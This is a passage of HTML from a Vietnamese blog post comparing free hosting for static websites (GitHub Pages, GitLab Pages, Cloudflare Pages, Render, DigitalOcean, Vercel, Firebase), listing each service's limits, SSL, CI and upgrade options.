url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEUlEQVQoz23RPW/TQBgHcH+P1PHFb6ndmthx7MaujW18fqsSaBqSYslV26SoNBAVQSNRxAQDIxNiZ0N8lDQmNihThVhgYGBi6IiSKKmR+ptOd/d/nud0CJ5BzOA4XiwWHccxDIPn+fnO8igLWa4oispWWZthGKaQcXOYJEnXcXdmfN83TRNC6DiO53mu69q2Xa/Xm82mqqoAgP/CBEGg+TyKohRF0TRNktQ6t14ul1dXizQ9HQcAQFLk9BqKYhi2nB8hCALDsIpYDoLAcz0HOhBC1/Udx/c8H9rwQRgdPTzudLoHB4dbwZbACwCAeX4aXllBPag/P+32T/ZfDHqvXz07e3r4crDffxS+fXP+5/fl98v0188fV1d/P3/6KEslbBnGcbxQKFAUzTAsx3GmZQW6IZdpzyKZInbvrv/4qKZurJ32jz+8f9fvP8nlciRJXr8ZAMCyjCiKuq5b1h1zyjIte1PTomgvCGqSXN3bDc/PBie9XmHR9rozwzCCICiKomm6qij6jCRJ91utRqOha5pt2+12u9PtZD8MmZdhWVYQBMuyDMMQxUq1ugFto3SL3d6u1Wp1TdMghKZpRlFEZCAYhuXzeZqm+RJfrW4YhrapaZJUMW6rqlJptXba7V1BEDiOk2U5DEMAALaAXCzEcTz+MkqTURyP4jhOk3gcX3yd+pYk4zRNkySZTCbD4XAZ+QcAi8NNoZ+XCQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="github pages" title="github pages" src="/static/b9550e18914c9919be1cec909a946059/7c811/hosting-mien-phi-github-pages.png" srcset="/static/b9550e18914c9919be1cec909a946059/103f2/hosting-mien-phi-github-pages.png 165w, /static/b9550e18914c9919be1cec909a946059/748ba/hosting-mien-phi-github-pages.png 330w, /static/b9550e18914c9919be1cec909a946059/7c811/hosting-mien-phi-github-pages.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Github Pages cho phép bạn deploy web tĩnh trực tiếp từ repo trên Github. Rõ ràng, việc tạo account và các repo trên Github là hoàn toàn miễn phí nên chuyện Github hỗ trợ hosting miễn phí là điều dễ hiểu.</p> <p>Github đặc biệt hỗ trợ Jekyll (vì đơn giản nó là hàng của Github mà). Tuy nhiên, bạn cũng có thể dụng các Static Site Generator khác một cách bình thường.</p> <p>Bản thân mình thì thường hay deploy single-page application <a href="/deploy-ung-dung-react-len-github-pages/">viết bằng React lên Github</a>. Vì nó nhanh, tiện và đơn giản.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: kích thước 1GB, băng thông 100GB/tháng, 10 lần build/giờ<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: chỉ hỗ trợ khi sử dụng sub-domain của Github. Tuy nhiên, bạn có thể sử dụng kết hợp với dịch vụ free SSL của Cloudflare.<br> <strong>Miễn phí CI</strong>: chỉ hỗ trợ Jekyll, với những thằng khác thì bạn có thể sử dụng Travis.<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng private repo.</p> <h3 id="3-gitlab-pages" style="position:relative;"><a href="#3-gitlab-pages" aria-label="3 gitlab pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>3. <a href="https://docs.gitlab.com/ee/user/project/pages/">Gitlab Pages</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXUlEQVQoz13Na2/SYBQH8H4hddDSFtqnLRQYGzB6fehDy52NjU2Gxsvc0OwWCgW2mJipy7YEL0s2JXM6nfLCF34Kv4Dfw6zMRE1+OTnn5PxzMCvpFNVeGTolvVOEjqV3kN7RYTcNW8vaSsnYqmXWZ6r7cOkQ3nmFVk5Q8725/sHY/iq1vmNlvVfN9OdQvwydnNIyVdtMO4rWK2ef/KySv9CN1w0rVjkybh/qjQG89xY1h9nNTzn7ErVH2Dg5DpupbTfchXonhfr2fP10Vk1XuqnKc1g/0hsD7e6bzNowt3Vhtb5YnW9YSevNof6s0Suq7bxiX4VhV1Hbi8v7a/Z5ff1szT6DCy+0pfHnY7T6ztr4mLUvjfYIy0tOQXHyip1X7YJmZ/U20jqa3k5bvUrtWf3+QWHppTq7p9X2YWNgPDhGj06Mx0O4+VlrjbCSspubcaxEOy87Ja1XRLum0U8bO5qxI6MdyXoqF/b0+QNYH2QenpqrQ6N5rjQv5I0RdH5gkZAZFlBYQKKAIqIZjVohMcMFDSFscmGTi5j8ZJaL5fh4UZTmRLkqyAuCUuPVRSFdxzwk7SH9XtLvcU0QlB8IvBihWZ7hg0AQWT4EhFAACF4f7SEo7zXSg5MYQQGcAl634hSY8DGRWFIzspNxKSHpsp6Jp7RMtpiQdILmxnAXQXMYQQMfDViaJf0cGeDJAE9QrJdkcIrF3cZLXo8EDf6D3cRpHKdE3McyPAhNgmCUEcIMHwbBKBCiIBhhOJHhrzYeX+AWTv8Nm04q00k5MSNPJaSYa+pPdcmuq969/Mdv60T+urB2N20AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="gitlab pages" title="gitlab pages" src="/static/698b382fa323b53e7fa118038e240bd4/7c811/hosting-mien-phi-gitlab-pages.png" srcset="/static/698b382fa323b53e7fa118038e240bd4/103f2/hosting-mien-phi-gitlab-pages.png 165w, /static/698b382fa323b53e7fa118038e240bd4/748ba/hosting-mien-phi-gitlab-pages.png 330w, /static/698b382fa323b53e7fa118038e240bd4/7c811/hosting-mien-phi-gitlab-pages.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Gitlab Pages cũng tương tự như Github Pages. Ngoài việc là Gitlab hỗ trợ miễn phí CI cho hầu hết các Static Site Generators.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: tương tự Github Pages với kích thước 1GB, băng thông 100GB/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có, với một vài <a href="https://docs.gitlab.com/ce/user/project/pages/#limitations">giới hạn</a><br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: không hỗ trợ cho Gitlab Pages</p> <h3 id="4-cloudflare-pages" style="position:relative;"><a href="#4-cloudflare-pages" aria-label="4 cloudflare pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>4. <a href="https://pages.cloudflare.com/">Cloudflare Pages</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABqElEQVQoz52SO3PTQBSF/e9xagp6CroQMwE7TXADlZ3REIexXBmtHtbDklervdr3FaNHIFBQcNrdb8+55+7MGKO15pwbo9GheyFE7P6pGQ7q/kuzrusAYL/f+/4hCAgJSF4UYRQRQqSSf15Ga43SWmltjOk67GFK6c3i5vb24/3958Xiw+rubrlaXV+/T9O0JxCdQyFV3TS0ZpyDENLYZxgAdrvd4XDwPG+z3X57fNxsNtuHBykldh0HQVlTMw7QKil1b6utNYgDbIxOYtInDUmanuIkSpI4ID+EFIhY0RpakFLqvtlJRusJ1tZGeUlOOQmDJImFFKxhrGHOuf7pYcIJUkrJXkqrCba8aL++Vt5bgKasKil/94SIv7yUUgDAOQCA0Xpq2/Iz+/IGvHeibeu6FkK8hEdbOUxrrUV0xpgxVA87xOhcxwVNTsmFXljDyrLknI+wGsI659br9av5fH519Wm5HI8G2NlTEsYxCaMwz7OaVpfqTGk1LLNTSg5p+fF4fHr67vv+uMLJGRHzPM/yLMvSqjyzKr8UiWwBn5Nba9te8NcP+wmBNah+o2DAFAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="cloudflare pages" title="cloudflare pages" src="/static/984caa670ce0ac02a47527a2a0d65a78/7c811/hosting-mien-phi-cho-web-tinh-cloudflare.png" srcset="/static/984caa670ce0ac02a47527a2a0d65a78/103f2/hosting-mien-phi-cho-web-tinh-cloudflare.png 165w, /static/984caa670ce0ac02a47527a2a0d65a78/748ba/hosting-mien-phi-cho-web-tinh-cloudflare.png 330w, /static/984caa670ce0ac02a47527a2a0d65a78/7c811/hosting-mien-phi-cho-web-tinh-cloudflare.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cloudflare Pages cho phép bạn deploy và hosting JAMstack websites một cách dễ dàng. Cloudflare có tích hợp Git, hỗ trợ băng thông không giới hạn, hỗ trợ CDN và cho phép tạo preview build cho mỗi commit.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: 500 lần build/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng một số dịch vụ nâng cao như page rules, hỗ trợ doanh nghiệp,...</p> <h3 id="5-rendercom" style="position:relative;"><a href="#5-rendercom" aria-label="5 rendercom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>5. <a href="https://render.com/">Render.com</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXUlEQVQoz0WRS08TYRSG53f5A/wBRuPOJYnGxIXigqUSJDFg0YVoXAhBQAmmKdJqQ+Qi1ZbSygiFKfRCmdKhM998l/PdZtqCZizR5FmcnOR5zzk5xqOneOixMzxGnsRYn5FxNjZFY2/pxEt48ZrFJunEq4jYJB0ewyPj5N4QvnXXH7iPDRXIZqsVdvT5RafT1d1e0O0FYRjR7YU60FJJqaTSSodah6rb01Zdb+TllqkMn0kmQxdzFwsM2qeKgI4KphyXOi5tI+jjYu4ziZjkWopQdrrCwCBdHzBT+eL+2rdCbntvfbO4mTWz+T0PcwKqjZjrQx8Pcx8EpkoHstwIDUR4GzHMZNEszy+kUunMwsf03IdkYnnNLFWswxNExD+/7YOHuKdo+icffWYZUSuS1VZhf2buU/LL5spqbim5vpTcmJ1fXs0UEZPuf5kRTxSgdTNvDgweXMqU66/r+el3iUzWTCyvLSU3FuMr09Px3GGtThhC0UwXQZSCue/DqNy+8qBt9CMREQeHjZLVsCq2dWSXK3bJqh9Wm+Vq0/Go178ZgyMCjkiiJq9XW1cf2pey5/NTxz0+sRvN02PbrtSbtYbTdHzHI/3VXCLaTEEqE8ymbx90bxz8vnYHIvkMAQFYz7E379nUIpuJs7rNCOOYKwwSUY5Z9Co+lTgffF462v1c2Pr+I7ttYoOC9olABI6OYWcfflmwa8EZ4oRLH+RfWRTKupo76Syk8U7NtGupZGIpHm85TQNEACJgXINQXEgQAoSkQlGuGddMaAKB42rKQ3Z+AbrDmcJM+VT4RP4BPZVshmhhL2MAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="render.com pages" title="render.com pages" src="/static/a00ed72e04e5ba91e35334a4f8bc187a/7c811/hosting-mien-phi-cho-web-tinh-render.png" srcset="/static/a00ed72e04e5ba91e35334a4f8bc187a/103f2/hosting-mien-phi-cho-web-tinh-render.png 165w, /static/a00ed72e04e5ba91e35334a4f8bc187a/748ba/hosting-mien-phi-cho-web-tinh-render.png 330w, /static/a00ed72e04e5ba91e35334a4f8bc187a/7c811/hosting-mien-phi-cho-web-tinh-render.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Render.com cho phép bạn build và deploy web tĩnh trực tiếp từ Git repo, với hỗ trợ SSL và global CDN.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: băng thông 100GB/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng một số dịch vụ background, dockers,...</p> <h3 id="6-digitalocean-app-platform" style="position:relative;"><a href="#6-digitalocean-app-platform" aria-label="6 digitalocean app platform permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>6. <a href="/goto?t=digitalOcean">DigitalOcean App Platform</a></h3> <p><a href="/goto?t=digitalOcean"><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNElEQVQoz22R60tUQRiHzz+ZX+qbrqWup70QJdKFlo0UKrwUfpMoQtDElQphFdN01XVXcTNdb2fdS7qupHs7Z+adeWfeOHv6ENTMw28ehoH5MWPc7o36QwNmIGIGo37z6d1gtLflvYFIMPzMDEa7/E/u9Dz+Q/ej7kDEfPjKvPfcDESMiyZd2kREWrsQkVKa3Olteuv/h0FEO7vWDd9AW+dgW+fgre4X/r6xngdjvvBoR2i46/6bjtBwe3DYFx7pDI+2h0Y6QiM3e156hw2lqdZg6R1rK5NLZ6zt3dPt7zk3d91MZ6x0xtrYOlpLHSQ2s4lkdm3zYHUzu7Kxn9w+Ma6qTuVXExVxjhK140hUJCRxkIyjV09KbDYZYwAgOEho4dbOHp9NzHxbXt+bmFmZ/rIem9uIL+18iqfGJ+bfTy3tHf6USA6Tts1AoEQlJErpCghpHFnlydnVtdThh+nl2FxyNZn9HE9NzibeTX4tV2qaiAvdtEWtwRkoBsg4OhxBoJBoVGtOvnhRLFWKpctcvpwvlIulyol1lsufF0qVhi0YkBRAWCcSRNJDKZRSG9dV++i4eFoo5wsX5+Wr66rTwr66dqk1BGmdONb9MRpaoNeLemiB+mO0uC9ZvW5wULYjHebCQUkkie6DecnB/ez5H+h7C30fRf+06JsS7eM8lnbsRtUAoYUkDxCag2Zce8LBFRAaEf/uTASIKJDcm/8FhGJcewJCOVw1mG4w3WxlnWmHKw74G+ZQYYWmlmKHAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="digitalocean app platform pages" title="digitalocean app platform pages" src="/static/529e47e47d1758b5ea4af0867132e3c9/7c811/hosting-mien-phi-cho-web-tinh-digitalocean.png" srcset="/static/529e47e47d1758b5ea4af0867132e3c9/103f2/hosting-mien-phi-cho-web-tinh-digitalocean.png 165w, /static/529e47e47d1758b5ea4af0867132e3c9/748ba/hosting-mien-phi-cho-web-tinh-digitalocean.png 330w, /static/529e47e47d1758b5ea4af0867132e3c9/7c811/hosting-mien-phi-cho-web-tinh-digitalocean.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></a></p> <p>DigitalOcean được biết đến nhiều nhất với VPS. Tuy nhiên, DigitalOcean App Platform đã ra đời - cung cấp dịch vụ hosting miễn phí cho web tĩnh cũng như web động.</p> <p>DigitalOcean App Platform hỗ trợ deploy code trực tiếp từ Github cũng như Gitlab với SSL miễn phí và cho phép thay đổi tên miền.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: băng thông 100GB/tháng, 100 lần build/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng một số dịch vụ như web động, thời gian build nhiều hơn, băng thông cao hơn.</p> <h3 id="7-vercel" style="position:relative;"><a href="#7-vercel" aria-label="7 vercel permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>7. <a href="https://vercel.com/">Vercel</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABtklEQVQoz3WSy0sCURTG/ZOiNoUta2HiIsON5qbaRwW9sEWrAi1aFj0XSdPGFgWRJUGGtEjRMJwZzTKbsdSw5tHMdOfeE6MlqPmtDvecH9+597smABAFkabpUqkEALquI4T0P6Gq6rWmaUhHW5tbkUgEAEwAgDFWVRUhVKuhjQghGGNCiCRKqqr+wrUGAAiisLy0TFGHLMPQNM2ybPQ26vf7GYZJJBL5fL4+WVMDzHHc7PyMa9hl7jHbB+1Wi7Wvv6+nu9s2YO3q6Jwcn1CqhnXe1LAYkNDxNZt8yL6kc4Vcjn++u42nM+lE5n5jf+eOuf+oVNrA1ZPwWvFsKpPa5tj17GuAK61n3r1JbY8luzRccsYEbln7F8fkZp9LBvj4yhOz+piaj2cXY09jl29z4bLjSJk+J9963aYZNqJCxmvHorHTk1Oe5wt8Qa6I5Ns4JF8IUEMWzTDWjbbH4zH3mofsQzabzel0HhxQ/6bYAlevFL4K+7y+0EVowbMwOjJySFGfH59NOf0DA4Asy+VyWVEUURQxxpIktfs2pkZbY7FgMGixWBwOh9vtLhaLmqYJgtDkWYN/AAIffRBJfh7NAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="vercel pages" title="vercel pages" src="/static/e78212b2acdbd2f66a458596331c1c47/7c811/hosting-mien-phi-cho-web-tinh-vercel.png" srcset="/static/e78212b2acdbd2f66a458596331c1c47/103f2/hosting-mien-phi-cho-web-tinh-vercel.png 165w, /static/e78212b2acdbd2f66a458596331c1c47/748ba/hosting-mien-phi-cho-web-tinh-vercel.png 330w, /static/e78212b2acdbd2f66a458596331c1c47/7c811/hosting-mien-phi-cho-web-tinh-vercel.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Vercel là một platform tốt cho phép bạn build, preview và deploy websites một cách dễ dàng.</p> <p>Với Vercel, bạn có thể build và deploy dễ dàng cho những trang web được tạo bởi kiến trúc JavaScript như: Next.js, Gatsby.js, React, Vue.js, Nuxt, Angular,...</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: Không giới hạn băng thông, số lần (thời gian) build, Serverless function và một số giới hạn.<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng một số dịch vụ nâng cao như hỗ trợ nhiều thành viên, tăng giới hạn, bảo vệ mật khẩu, build song song,...</p> <h3 id="8-firebase-hosting" style="position:relative;"><a href="#8-firebase-hosting" aria-label="8 firebase hosting permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>8. <a href="https://firebase.google.com/">Firebase Hosting</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSElEQVQoz32QzWvTYBzH8x94sUmeVKpMO8tqcb7UKooi2sFQBMXBRJEe0lfZbJqudm1P2+obVIeoO3kX1+4ggvOk+HKYsK1J2rRVR6Fb16RNtrVJus6TJHW+TBA+h+8Xng/fhx/Ei+KaJEutVq0urciK0JBFSREleVVpCg1ZqLer0mh9r69vrDVbSzWxLK5W65IoN6HpLxuvC61XufUpppmklRTTTDGKRnMTJUUrk5Q8SckvKDmVUZ8laTlJK5DOX9H5K7CfQ4j/gW6iVR4JVBGChzCS0wc1SE7N5M+A/VuDvAq5jPlLYGAB+PKqjAa2AjTQQAUlOEBqDrEMBovgRgF4MsBFAVcauNIQCHC7h3ljhN8zzHeE+XY2hLidIb4jXDVG+F1kCfXlgYfRHAq4KeCm20BogDs8Wrv0VLw8IfaOC/aE0DexcjYhnhuv2u8uXkwUD4ZYGE9jHvqX0wZzURBCcNax2vlH4vE7tVP3hJ4H4un73IXEoj3+zT5a6Hu4YAmysJPC2o6HAc55zDkLnPOwt6B+uzPCm2K8KVrtilb2hYvmIGsOZLrIrGWI7byZQV2/11B8DuBz2699gvG05cpzdfnIWO1MQjh5e6kn/tUWYa2RnDWSPxbLm8ms3vOXiThmYMfnE9GsbaRs638GbRuojLxs0KXW26z0IScdjeUNPkbvpU1E1uBjkD9mAT4LO2YM7rnH01VH/ONe9xsI+MtGIn/gFtsdyu0fYnd4GdRNYx4adW+9kDp+/b3u6rtufOpQ/xNz7+APn1mN5nPH9tAAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="firebase hosting" title="firebase hosting" src="/static/e2544d1328ed92ad44fd4b977e7bce23/7c811/hosting-mien-phi-cho-web-tinh-firebase.png" srcset="/static/e2544d1328ed92ad44fd4b977e7bce23/103f2/hosting-mien-phi-cho-web-tinh-firebase.png 165w, /static/e2544d1328ed92ad44fd4b977e7bce23/748ba/hosting-mien-phi-cho-web-tinh-firebase.png 330w, /static/e2544d1328ed92ad44fd4b977e7bce23/7c811/hosting-mien-phi-cho-web-tinh-firebase.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Firebase Hosting của Google cho phép bạn deploy web tĩnh cũng như single-page application một cách dễ dàng.</p> <p>Firebase Hosting cho phép thay đổi domain và miễn phí SSL. Hơn nữa, bạn cũng có thể sử dụng một số dịch vụ miễn phí khác của Firebase như realtime-database, file storage,...</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: kích thước 1GB, băng thông 10GB/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn sẽ có thêm dung lượng lưu trữ và băng thông hàng tháng.</p> <h3 id="9-google-app-engine" style="position:relative;"><a href="#9-google-app-engine" aria-label="9 google app engine permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>9. <a href="https://cloud.google.com/appengine/">Google App Engine</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: 